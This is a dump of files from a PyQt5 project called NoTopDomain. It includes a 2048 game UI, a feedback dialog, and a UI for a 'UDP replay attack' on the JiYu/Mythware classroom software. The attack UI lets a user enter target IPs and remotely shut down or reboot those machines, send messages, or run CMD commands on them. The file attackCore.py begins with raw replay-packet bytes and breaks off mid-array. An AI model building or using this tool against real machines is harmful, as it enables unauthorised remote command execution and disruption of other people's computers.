self.gridLayout_2.addWidget(self.b3_4, 2, 3, 1, 1) 213 | self.horizontalLayout_2.addWidget(self.widget) 214 | self.gridLayout.addLayout(self.horizontalLayout_2, 2, 0, 5, 3) 215 | self.horizontalLayout_3 = QtWidgets.QHBoxLayout() 216 | self.horizontalLayout_3.setObjectName("horizontalLayout_3") 217 | spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) 218 | self.horizontalLayout_3.addItem(spacerItem) 219 | self.buttonbox = QtWidgets.QGroupBox(Moyu2048) 220 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) 221 | sizePolicy.setHorizontalStretch(0) 222 | sizePolicy.setVerticalStretch(0) 223 | sizePolicy.setHeightForWidth(self.buttonbox.sizePolicy().hasHeightForWidth()) 224 | self.buttonbox.setSizePolicy(sizePolicy) 225 | self.buttonbox.setObjectName("buttonbox") 226 | self.horizontalLayout = QtWidgets.QHBoxLayout(self.buttonbox) 227 | self.horizontalLayout.setContentsMargins(11, 11, 11, 11) 228 | self.horizontalLayout.setObjectName("horizontalLayout") 229 | self.startButton = QtWidgets.QToolButton(self.buttonbox) 230 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 231 | sizePolicy.setHorizontalStretch(0) 232 | sizePolicy.setVerticalStretch(0) 233 | sizePolicy.setHeightForWidth(self.startButton.sizePolicy().hasHeightForWidth()) 234 | self.startButton.setSizePolicy(sizePolicy) 235 | self.startButton.setText("") 236 | self.startButton.setObjectName("startButton") 237 | self.horizontalLayout.addWidget(self.startButton) 238 | self.Reset = QtWidgets.QToolButton(self.buttonbox) 239 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 240 | sizePolicy.setHorizontalStretch(0) 241 | sizePolicy.setVerticalStretch(0) 242 | sizePolicy.setHeightForWidth(self.Reset.sizePolicy().hasHeightForWidth()) 243 | self.Reset.setSizePolicy(sizePolicy) 244 | self.Reset.setText("") 245 | self.Reset.setObjectName("Reset") 246 | self.horizontalLayout.addWidget(self.Reset) 247 | spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) 248 | self.horizontalLayout.addItem(spacerItem1) 249 | self.horizontalLayout_3.addWidget(self.buttonbox) 250 | spacerItem2 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) 251 | self.horizontalLayout_3.addItem(spacerItem2) 252 | self.gridLayout.addLayout(self.horizontalLayout_3, 1, 0, 1, 3) 253 | self.groupBox444 = QtWidgets.QGroupBox(Moyu2048) 254 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) 255 | sizePolicy.setHorizontalStretch(0) 256 | sizePolicy.setVerticalStretch(0) 257 | sizePolicy.setHeightForWidth(self.groupBox444.sizePolicy().hasHeightForWidth()) 258 | self.groupBox444.setSizePolicy(sizePolicy) 259 | self.groupBox444.setTitle("") 260 | self.groupBox444.setObjectName("groupBox444") 261 | self.gridLayout_3 = QtWidgets.QGridLayout(self.groupBox444) 262 | self.gridLayout_3.setObjectName("gridLayout_3") 263 | self.label_2 = QtWidgets.QLabel(self.groupBox444) 264 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) 265 | sizePolicy.setHorizontalStretch(0) 266 | sizePolicy.setVerticalStretch(0) 267 | sizePolicy.setHeightForWidth(self.label_2.sizePolicy().hasHeightForWidth()) 268 | self.label_2.setSizePolicy(sizePolicy) 269 | self.label_2.setWordWrap(True) 270 | self.label_2.setObjectName("label_2") 271 | self.gridLayout_3.addWidget(self.label_2, 3, 0, 1, 3) 272 | self.label = QtWidgets.QLabel(self.groupBox444) 273 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) 274 | sizePolicy.setHorizontalStretch(0) 275 | sizePolicy.setVerticalStretch(0) 276 | sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) 277 | self.label.setSizePolicy(sizePolicy) 278 | font = QtGui.QFont() 279 | font.setFamily("Microsoft YaHei") 280 | font.setPointSize(24) 281 | self.label.setFont(font) 282 | self.label.setObjectName("label") 283 | self.gridLayout_3.addWidget(self.label, 0, 0, 3, 3) 284 | self.checkBox_2 = QtWidgets.QCheckBox(self.groupBox444) 285 | self.checkBox_2.setObjectName("checkBox_2") 286 | self.gridLayout_3.addWidget(self.checkBox_2, 4, 2, 1, 1) 287 | self.checkBox = QtWidgets.QCheckBox(self.groupBox444) 288 | self.checkBox.setChecked(True) 289 | self.checkBox.setObjectName("checkBox") 290 | self.gridLayout_3.addWidget(self.checkBox, 4, 0, 1, 1) 291 | self.gridLayout.addWidget(self.groupBox444, 0, 0, 1, 3) 292 | self.verticalLayout_2 = QtWidgets.QVBoxLayout() 293 | self.verticalLayout_2.setObjectName("verticalLayout_2") 294 | self.groupBox_233 = QtWidgets.QGroupBox(Moyu2048) 295 | self.groupBox_233.setTitle("") 296 | self.groupBox_233.setObjectName("groupBox_233") 297 | self.gridLayout_4 = QtWidgets.QGridLayout(self.groupBox_233) 298 | self.gridLayout_4.setContentsMargins(22, 22, 22, 22) 299 | self.gridLayout_4.setObjectName("gridLayout_4") 300 | self.label_5 = QtWidgets.QLabel(self.groupBox_233) 301 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) 302 | sizePolicy.setHorizontalStretch(0) 303 | sizePolicy.setVerticalStretch(0) 304 | sizePolicy.setHeightForWidth(self.label_5.sizePolicy().hasHeightForWidth()) 305 | self.label_5.setSizePolicy(sizePolicy) 306 | font = QtGui.QFont() 307 | font.setFamily("Microsoft YaHei") 308 | font.setPointSize(14) 309 | font.setBold(True) 310 | font.setWeight(75) 311 | self.label_5.setFont(font) 312 | self.label_5.setAlignment(QtCore.Qt.AlignCenter) 313 | self.label_5.setObjectName("label_5") 314 | self.gridLayout_4.addWidget(self.label_5, 4, 0, 1, 4) 315 | self.label_4 = QtWidgets.QLabel(self.groupBox_233) 316 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) 317 | sizePolicy.setHorizontalStretch(0) 318 | sizePolicy.setVerticalStretch(0) 319 | sizePolicy.setHeightForWidth(self.label_4.sizePolicy().hasHeightForWidth()) 320 | self.label_4.setSizePolicy(sizePolicy) 321 | font = QtGui.QFont() 322 | font.setFamily("Microsoft YaHei") 323 | font.setPointSize(14) 324 | font.setBold(True) 325 | font.setWeight(75) 326 | self.label_4.setFont(font) 327 | self.label_4.setAlignment(QtCore.Qt.AlignCenter) 328 | self.label_4.setObjectName("label_4") 329 | self.gridLayout_4.addWidget(self.label_4, 2, 0, 1, 4) 330 | self.lcdNumber = QtWidgets.QLCDNumber(self.groupBox_233) 331 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding) 332 | sizePolicy.setHorizontalStretch(0) 333 | sizePolicy.setVerticalStretch(0) 334 | sizePolicy.setHeightForWidth(self.lcdNumber.sizePolicy().hasHeightForWidth()) 335 | self.lcdNumber.setSizePolicy(sizePolicy) 336 | self.lcdNumber.setMinimumSize(QtCore.QSize(0, 50)) 337 | self.lcdNumber.setMaximumSize(QtCore.QSize(16777215, 60)) 338 | self.lcdNumber.setObjectName("lcdNumber") 339 | self.gridLayout_4.addWidget(self.lcdNumber, 5, 0, 1, 4) 340 | self.label_6 = QtWidgets.QLabel(self.groupBox_233) 341 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) 342 | sizePolicy.setHorizontalStretch(0) 343 | sizePolicy.setVerticalStretch(0) 344 | sizePolicy.setHeightForWidth(self.label_6.sizePolicy().hasHeightForWidth()) 345 | self.label_6.setSizePolicy(sizePolicy) 346 | font = QtGui.QFont() 347 | font.setFamily("Microsoft YaHei") 348 | font.setPointSize(14) 349 | font.setBold(True) 350 | font.setWeight(75) 351 | self.label_6.setFont(font) 352 | self.label_6.setAlignment(QtCore.Qt.AlignCenter) 353 | self.label_6.setObjectName("label_6") 354 | self.gridLayout_4.addWidget(self.label_6, 0, 0, 1, 4) 355 | self.time = QtWidgets.QLabel(self.groupBox_233) 356 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) 357 | sizePolicy.setHorizontalStretch(0) 358 | sizePolicy.setVerticalStretch(0) 359 | sizePolicy.setHeightForWidth(self.time.sizePolicy().hasHeightForWidth()) 360 | self.time.setSizePolicy(sizePolicy) 361 | font = QtGui.QFont() 362 | font.setFamily("Microsoft YaHei") 363 | font.setPointSize(14) 364 | font.setBold(False) 365 | font.setWeight(50) 366 | self.time.setFont(font) 367 | self.time.setAlignment(QtCore.Qt.AlignCenter) 368 | self.time.setObjectName("time") 369 | self.gridLayout_4.addWidget(self.time, 1, 0, 1, 4) 370 | self.Score = QtWidgets.QLCDNumber(self.groupBox_233) 371 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) 372 | sizePolicy.setHorizontalStretch(0) 373 | sizePolicy.setVerticalStretch(0) 374 | sizePolicy.setHeightForWidth(self.Score.sizePolicy().hasHeightForWidth()) 375 | self.Score.setSizePolicy(sizePolicy) 376 | self.Score.setMinimumSize(QtCore.QSize(0, 50)) 377 | self.Score.setMaximumSize(QtCore.QSize(16777215, 60)) 378 | self.Score.setObjectName("Score") 379 | self.gridLayout_4.addWidget(self.Score, 3, 0, 1, 4) 380 | self.verticalLayout_2.addWidget(self.groupBox_233) 381 | self.groupBox_344 = QtWidgets.QGroupBox(Moyu2048) 382 | self.groupBox_344.setTitle("") 383 | self.groupBox_344.setObjectName("groupBox_344") 384 | self.gridLayout_5 = QtWidgets.QGridLayout(self.groupBox_344) 385 | self.gridLayout_5.setObjectName("gridLayout_5") 386 | self.label_3 = QtWidgets.QLabel(self.groupBox_344) 387 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred) 388 | sizePolicy.setHorizontalStretch(0) 389 | sizePolicy.setVerticalStretch(0) 390 | sizePolicy.setHeightForWidth(self.label_3.sizePolicy().hasHeightForWidth()) 391 | self.label_3.setSizePolicy(sizePolicy) 392 | font = QtGui.QFont() 393 | font.setFamily("Microsoft YaHei") 394 | font.setPointSize(9) 395 | self.label_3.setFont(font) 396 | self.label_3.setWordWrap(True) 397 | self.label_3.setObjectName("label_3") 398 | self.gridLayout_5.addWidget(self.label_3, 0, 0, 1, 3) 399 | self.verticalLayout_2.addWidget(self.groupBox_344) 400 | spacerItem3 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding) 401 | self.verticalLayout_2.addItem(spacerItem3) 402 | self.gridLayout.addLayout(self.verticalLayout_2, 0, 3, 8, 1) 403 | spacerItem4 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding) 404 | self.gridLayout.addItem(spacerItem4, 7, 0, 1, 3) 405 | 406 | self.retranslateUi(Moyu2048) 407 | QtCore.QMetaObject.connectSlotsByName(Moyu2048) 408 | 409 | def retranslateUi(self, Moyu2048): 410 | _translate = QtCore.QCoreApplication.translate 411 | Moyu2048.setWindowTitle(_translate("Moyu2048", "快乐摸鱼!OIerの2048 By NoTopDomain")) 412 | self.label_2.setText(_translate("Moyu2048", "经历五彩的AC、TLE、MLE、UKE和WA,最后AFO或是AKIOI (ง •_•)ง")) 413 | self.label.setText(_translate("Moyu2048", "OIerの2048")) 414 | self.checkBox_2.setText(_translate("Moyu2048", "允许截图")) 415 | self.checkBox.setText(_translate("Moyu2048", "置顶窗口")) 416 | self.label_5.setText(_translate("Moyu2048", "Max. RP")) 417 | self.label_4.setText(_translate("Moyu2048", "RP (Score)")) 418 | self.label_6.setText(_translate("Moyu2048", "时间")) 419 | self.time.setText(_translate("Moyu2048", "00:00:00")) 420 | self.label_3.setText(_translate("Moyu2048", "PS: {0: \"\", 2: \"WA\", 4: \"TLE\", 8: \"MLE\", 16: \"RE\", 32: \"CE\", 64: \"PC\", 128: \"UKE\", 256: \"AC\", 512: \"CSP\", 1024: \"NOI\", 2048: \"IOI\", 4096: \"AK\",...} \n" 421 | "使用WASD或上下左右键操控。")) 422 | -------------------------------------------------------------------------------- /libs/Ui_UDPAttack.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Form implementation generated from reading ui file 'f:\Phigros\NoTopDomain\libs\UDPAttack.ui' 4 | # 5 | # Created by: PyQt5 UI code generator 5.15.9 6 | # 7 | # WARNING: Any manual changes made to this file will be lost when pyuic5 is 8 | # run again. Do not edit this file unless you know what you are doing. 9 | 10 | 11 | from PyQt5 import QtCore, QtGui, QtWidgets 12 | 13 | 14 | class Ui_UDPAttacker(object): 15 | def setupUi(self, UDPAttacker): 16 | UDPAttacker.setObjectName("UDPAttacker") 17 | UDPAttacker.resize(776, 600) 18 | UDPAttacker.setMaximumSize(QtCore.QSize(16777215, 16777215)) 19 | font = QtGui.QFont() 20 | font.setFamily("Microsoft YaHei") 21 | UDPAttacker.setFont(font) 22 | self.gridLayout = QtWidgets.QGridLayout(UDPAttacker) 23 | self.gridLayout.setContentsMargins(0, 0, 0, 0) 24 | self.gridLayout.setHorizontalSpacing(7) 25 | self.gridLayout.setObjectName("gridLayout") 26 | self.groupBox333555 = QtWidgets.QGroupBox(UDPAttacker) 27 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) 28 | sizePolicy.setHorizontalStretch(0) 29 | sizePolicy.setVerticalStretch(0) 30 | sizePolicy.setHeightForWidth(self.groupBox333555.sizePolicy().hasHeightForWidth()) 31 | self.groupBox333555.setSizePolicy(sizePolicy) 32 | self.groupBox333555.setTitle("") 33 | self.groupBox333555.setObjectName("groupBox333555") 34 | self.gridLayout_2 = QtWidgets.QGridLayout(self.groupBox333555) 35 | self.gridLayout_2.setObjectName("gridLayout_2") 36 | self.label_5 = QtWidgets.QLabel(self.groupBox333555) 37 | font = QtGui.QFont() 38 | font.setFamily("Microsoft YaHei UI") 39 | font.setPointSize(14) 40 | font.setBold(True) 41 | font.setWeight(75) 42 | self.label_5.setFont(font) 43 | self.label_5.setObjectName("label_5") 44 | self.gridLayout_2.addWidget(self.label_5, 0, 0, 1, 1) 45 | self.gridLayout.addWidget(self.groupBox333555, 0, 0, 1, 2) 46 | self.groupBox_2344 = QtWidgets.QGroupBox(UDPAttacker) 47 | self.groupBox_2344.setTitle("") 48 | self.groupBox_2344.setObjectName("groupBox_2344") 49 | self.gridLayout_4 = QtWidgets.QGridLayout(self.groupBox_2344) 50 | self.gridLayout_4.setContentsMargins(22, 22, 22, 22) 51 | self.gridLayout_4.setObjectName("gridLayout_4") 52 | self.pushButton = QtWidgets.QPushButton(self.groupBox_2344) 53 | self.pushButton.setObjectName("pushButton") 54 | self.gridLayout_4.addWidget(self.pushButton, 4, 1, 1, 1) 55 | self.pushButton_4 = QtWidgets.QPushButton(self.groupBox_2344) 56 | self.pushButton_4.setObjectName("pushButton_4") 57 | self.gridLayout_4.addWidget(self.pushButton_4, 4, 0, 1, 1) 58 | self.textBrowser = QtWidgets.QTextBrowser(self.groupBox_2344) 59 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred) 60 | sizePolicy.setHorizontalStretch(0) 61 | sizePolicy.setVerticalStretch(0) 62 | sizePolicy.setHeightForWidth(self.textBrowser.sizePolicy().hasHeightForWidth()) 63 | self.textBrowser.setSizePolicy(sizePolicy) 64 | self.textBrowser.setMaximumSize(QtCore.QSize(16777215, 16777215)) 65 | self.textBrowser.setLineWrapMode(QtWidgets.QTextEdit.WidgetWidth) 66 | self.textBrowser.setObjectName("textBrowser") 67 | self.gridLayout_4.addWidget(self.textBrowser, 3, 0, 1, 2) 68 | self.label = QtWidgets.QLabel(self.groupBox_2344) 69 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed) 70 | sizePolicy.setHorizontalStretch(0) 71 | sizePolicy.setVerticalStretch(0) 72 | sizePolicy.setHeightForWidth(self.label.sizePolicy().hasHeightForWidth()) 73 | self.label.setSizePolicy(sizePolicy) 74 | self.label.setMaximumSize(QtCore.QSize(16777215, 16777215)) 75 | self.label.setWordWrap(True) 76 | self.label.setObjectName("label") 77 | self.gridLayout_4.addWidget(self.label, 1, 0, 1, 2) 78 | self.gridLayout.addWidget(self.groupBox_2344, 1, 0, 3, 1) 79 | self.groupBox_33 = QtWidgets.QGroupBox(UDPAttacker) 80 | self.groupBox_33.setTitle("") 81 | self.groupBox_33.setObjectName("groupBox_33") 82 | self.gridLayout_3 = QtWidgets.QGridLayout(self.groupBox_33) 83 | self.gridLayout_3.setContentsMargins(22, 22, 22, 22) 84 | self.gridLayout_3.setObjectName("gridLayout_3") 85 | self.label_7 = QtWidgets.QLabel(self.groupBox_33) 86 | self.label_7.setObjectName("label_7") 87 | self.gridLayout_3.addWidget(self.label_7, 4, 0, 1, 1) 88 | self.textEdit_2 = QtWidgets.QTextEdit(self.groupBox_33) 89 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) 90 | sizePolicy.setHorizontalStretch(0) 91 | sizePolicy.setVerticalStretch(0) 92 | sizePolicy.setHeightForWidth(self.textEdit_2.sizePolicy().hasHeightForWidth()) 93 | self.textEdit_2.setSizePolicy(sizePolicy) 94 | self.textEdit_2.setMaximumSize(QtCore.QSize(16777215, 1677215)) 95 | self.textEdit_2.setObjectName("textEdit_2") 96 | self.gridLayout_3.addWidget(self.textEdit_2, 5, 0, 1, 2) 97 | self.spinBox_2 = QtWidgets.QSpinBox(self.groupBox_33) 98 | self.spinBox_2.setMinimum(40) 99 | self.spinBox_2.setMaximum(65535) 100 | self.spinBox_2.setProperty("value", 4705) 101 | self.spinBox_2.setObjectName("spinBox_2") 102 | self.gridLayout_3.addWidget(self.spinBox_2, 2, 1, 1, 1) 103 | self.label_6 = QtWidgets.QLabel(self.groupBox_33) 104 | self.label_6.setObjectName("label_6") 105 | self.gridLayout_3.addWidget(self.label_6, 3, 0, 1, 1) 106 | self.horizontalLayout = QtWidgets.QHBoxLayout() 107 | self.horizontalLayout.setObjectName("horizontalLayout") 108 | self.spinBox = QtWidgets.QSpinBox(self.groupBox_33) 109 | self.spinBox.setMinimum(1) 110 | self.spinBox.setMaximum(1145141919) 111 | self.spinBox.setObjectName("spinBox") 112 | self.horizontalLayout.addWidget(self.spinBox) 113 | self.label_8 = QtWidgets.QLabel(self.groupBox_33) 114 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) 115 | sizePolicy.setHorizontalStretch(0) 116 | sizePolicy.setVerticalStretch(0) 117 | sizePolicy.setHeightForWidth(self.label_8.sizePolicy().hasHeightForWidth()) 118 | self.label_8.setSizePolicy(sizePolicy) 119 | self.label_8.setObjectName("label_8") 120 | self.horizontalLayout.addWidget(self.label_8) 121 | self.gridLayout_3.addLayout(self.horizontalLayout, 4, 1, 1, 1) 122 | self.label_9 = QtWidgets.QLabel(self.groupBox_33) 123 | self.label_9.setWordWrap(True) 124 | self.label_9.setObjectName("label_9") 125 | self.gridLayout_3.addWidget(self.label_9, 2, 0, 1, 1) 126 | self.plainTextEdit = QtWidgets.QPlainTextEdit(self.groupBox_33) 127 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) 128 | sizePolicy.setHorizontalStretch(0) 129 | sizePolicy.setVerticalStretch(0) 130 | sizePolicy.setHeightForWidth(self.plainTextEdit.sizePolicy().hasHeightForWidth()) 131 | self.plainTextEdit.setSizePolicy(sizePolicy) 132 | self.plainTextEdit.setMaximumSize(QtCore.QSize(16777215, 1677215)) 133 | self.plainTextEdit.setObjectName("plainTextEdit") 134 | self.gridLayout_3.addWidget(self.plainTextEdit, 6, 0, 1, 2) 135 | self.textEdit = QtWidgets.QTextEdit(self.groupBox_33) 136 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred) 137 | sizePolicy.setHorizontalStretch(0) 138 | sizePolicy.setVerticalStretch(0) 139 | sizePolicy.setHeightForWidth(self.textEdit.sizePolicy().hasHeightForWidth()) 140 | self.textEdit.setSizePolicy(sizePolicy) 141 | self.textEdit.setMaximumSize(QtCore.QSize(16777215, 16777214)) 142 | self.textEdit.setObjectName("textEdit") 143 | self.gridLayout_3.addWidget(self.textEdit, 0, 0, 2, 1) 144 | self.pushButton_2 = QtWidgets.QPushButton(self.groupBox_33) 145 | self.pushButton_2.setEnabled(True) 146 | sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Fixed) 147 | sizePolicy.setHorizontalStretch(0) 148 | sizePolicy.setVerticalStretch(0) 149 | sizePolicy.setHeightForWidth(self.pushButton_2.sizePolicy().hasHeightForWidth()) 150 | self.pushButton_2.setSizePolicy(sizePolicy) 151 | self.pushButton_2.setObjectName("pushButton_2") 152 | self.gridLayout_3.addWidget(self.pushButton_2, 0, 1, 1, 1) 153 | self.spinBox_3 = QtWidgets.QSpinBox(self.groupBox_33) 154 | self.spinBox_3.setMinimum(1) 155 | self.spinBox_3.setMaximum(114) 156 | self.spinBox_3.setObjectName("spinBox_3") 157 | self.gridLayout_3.addWidget(self.spinBox_3, 3, 1, 1, 1) 158 | self.pushButton_3 = QtWidgets.QPushButton(self.groupBox_33) 159 | self.pushButton_3.setEnabled(True) 160 | self.pushButton_3.setObjectName("pushButton_3") 161 | self.gridLayout_3.addWidget(self.pushButton_3, 1, 1, 1, 1) 162 | self.gridLayout.addWidget(self.groupBox_33, 1, 1, 3, 1) 163 | 164 | self.retranslateUi(UDPAttacker) 165 | QtCore.QMetaObject.connectSlotsByName(UDPAttacker) 166 | 167 | def retranslateUi(self, UDPAttacker): 168 | _translate = QtCore.QCoreApplication.translate 169 | UDPAttacker.setWindowTitle(_translate("UDPAttacker", "极域UDP重放攻击 by ht0Ruial&&modify in NTD")) 170 | self.label_5.setText(_translate("UDPAttacker", "极域UDP重放攻击 by NoTopDomain")) 171 | self.pushButton.setText(_translate("UDPAttacker", "发送(&S)")) 172 | self.pushButton_4.setText(_translate("UDPAttacker", "扫描IP")) 173 | self.textBrowser.setMarkdown(_translate("UDPAttacker", "日志\n" 174 | "\n" 175 | "")) 176 | self.label.setText(_translate("UDPAttacker", "

警告:此工具利用极域漏洞进行攻击,如使用此工具导致的任何问题作者不承担任何责任!(PS:极域有10秒左右的消息CD,这期间发送消息无效)
注意:为防误触,请按 Alt+S 发送而不是回车
by ht0Ruial&&modify in NTD

")) 177 | self.label_7.setText(_translate("UDPAttacker", "等待时间")) 178 | self.textEdit_2.setPlaceholderText(_translate("UDPAttacker", "运行命令(CMD),留空则不发送")) 179 | self.label_6.setText(_translate("UDPAttacker", "循环次数")) 180 | self.label_8.setText(_translate("UDPAttacker", "秒")) 181 | self.label_9.setText(_translate("UDPAttacker", "对方端口(默认4705,不用改)")) 182 | self.plainTextEdit.setPlaceholderText(_translate("UDPAttacker", "发送消息内容,留空则不发送")) 183 | self.textEdit.setPlaceholderText(_translate("UDPAttacker", "对方IP(可以使用英文分号隔开)")) 184 | self.pushButton_2.setText(_translate("UDPAttacker", "对方关机")) 185 | self.pushButton_3.setText(_translate("UDPAttacker", "对方重启")) 186 | -------------------------------------------------------------------------------- /libs/Ui_feedback.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | # Form implementation generated from reading ui file 'f:\Phigros\NoTopDomain\libs\feedback.ui' 4 | # 5 | # Created by: PyQt5 UI code generator 5.15.9 6 | # 7 | # WARNING: Any manual changes made to this file will be lost when pyuic5 is 8 | # run again. Do not edit this file unless you know what you are doing. 9 | 10 | 11 | from PyQt5 import QtCore, QtGui, QtWidgets 12 | 13 | 14 | class Ui_feedbacker(object): 15 | def setupUi(self, feedbacker): 16 | feedbacker.setObjectName("feedbacker") 17 | feedbacker.setWindowModality(QtCore.Qt.ApplicationModal) 18 | feedbacker.resize(399, 318) 19 | font = QtGui.QFont() 20 | font.setFamily("Microsoft YaHei UI") 21 | feedbacker.setFont(font) 22 | self.gridLayout = QtWidgets.QGridLayout(feedbacker) 23 | self.gridLayout.setObjectName("gridLayout") 24 | spacerItem = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding) 25 | self.gridLayout.addItem(spacerItem, 3, 1, 1, 1) 26 | self.pushButton_2 = QtWidgets.QPushButton(feedbacker) 27 | self.pushButton_2.setEnabled(False) 28 | self.pushButton_2.setObjectName("pushButton_2") 29 | self.gridLayout.addWidget(self.pushButton_2, 4, 1, 1, 1) 30 | spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum) 31 | self.gridLayout.addItem(spacerItem1, 4, 0, 1, 1) 32 | self.formLayout = QtWidgets.QFormLayout() 33 | self.formLayout.setObjectName("formLayout") 34 | self.label_3 = QtWidgets.QLabel(feedbacker) 35 | self.label_3.setObjectName("label_3") 36 | self.formLayout.setWidget(1, QtWidgets.QFormLayout.LabelRole, self.label_3) 37 | self.textEdit = QtWidgets.QTextEdit(feedbacker) 38 | self.textEdit.setObjectName("textEdit") 39 | self.formLayout.setWidget(1, QtWidgets.QFormLayout.FieldRole, self.textEdit) 40 | self.label = QtWidgets.QLabel(feedbacker) 41 | self.label.setObjectName("label") 42 | self.formLayout.setWidget(0, QtWidgets.QFormLayout.LabelRole, self.label) 43 | self.lineEdit = QtWidgets.QLineEdit(feedbacker) 44 | self.lineEdit.setObjectName("lineEdit") 45 | self.formLayout.setWidget(0, QtWidgets.QFormLayout.FieldRole, self.lineEdit) 46 | self.label_4 = QtWidgets.QLabel(feedbacker) 47 | self.label_4.setObjectName("label_4") 48 | self.formLayout.setWidget(2, QtWidgets.QFormLayout.LabelRole, self.label_4) 49 | self.lineEdit_2 = QtWidgets.QLineEdit(feedbacker) 50 | self.lineEdit_2.setObjectName("lineEdit_2") 51 | self.formLayout.setWidget(2, QtWidgets.QFormLayout.FieldRole, self.lineEdit_2) 52 | self.gridLayout.addLayout(self.formLayout, 2, 0, 1, 2) 53 | self.label_2 = QtWidgets.QLabel(feedbacker) 54 | self.label_2.setOpenExternalLinks(True) 55 | self.label_2.setObjectName("label_2") 56 | self.gridLayout.addWidget(self.label_2, 0, 0, 1, 2) 57 | 58 | self.retranslateUi(feedbacker) 59 | QtCore.QMetaObject.connectSlotsByName(feedbacker) 60 | 61 | def retranslateUi(self, feedbacker): 62 | _translate = QtCore.QCoreApplication.translate 63 | feedbacker.setWindowTitle(_translate("feedbacker", "反馈")) 64 | self.pushButton_2.setText(_translate("feedbacker", "发送反馈")) 65 | self.label_3.setText(_translate("feedbacker", "反馈内容:")) 66 | self.textEdit.setPlaceholderText(_translate("feedbacker", "作者建议你去github issue上提交呢...(必填)")) 67 | self.label.setText(_translate("feedbacker", "反馈标题")) 68 | self.lineEdit.setPlaceholderText(_translate("feedbacker", "必填")) 69 | self.label_4.setText(_translate("feedbacker", "联系方式/昵称")) 70 | self.lineEdit_2.setPlaceholderText(_translate("feedbacker", "选填")) 71 | self.label_2.setText(_translate("feedbacker", "

PS:发送时间可能较长 去Github提交Issue

")) 72 | -------------------------------------------------------------------------------- /libs/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LYXOfficial/NoTopDomain/386228dfbdade528a7a0472efd01c209c96353ee/libs/__init__.py -------------------------------------------------------------------------------- /libs/attackCore.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import datetime 3 | from PyQt5.QtCore import pyqtSignal 4 | from time import sleep 5 | from struct import pack 6 | store = [[0x44, 0x4d, 0x4f, 0x43, 0x00, 0x00, 0x01, 0x00, 0x9e, 0x03, 0x00, 0x00, 0x10, 0x41, 0xaf, 0xfb, 0xa0, 0xe7, 0x52, 0x40, 0x91, 7 | 0xdc, 0x27, 0xa3, 0xb6, 0xf9, 0x29, 0x2e, 0x20, 0x4e, 0x00, 0x00, 0xc0, 0xa8, 0x50, 0x81, 0x91, 0x03, 0x00, 0x00, 0x91, 0x03, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 8 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 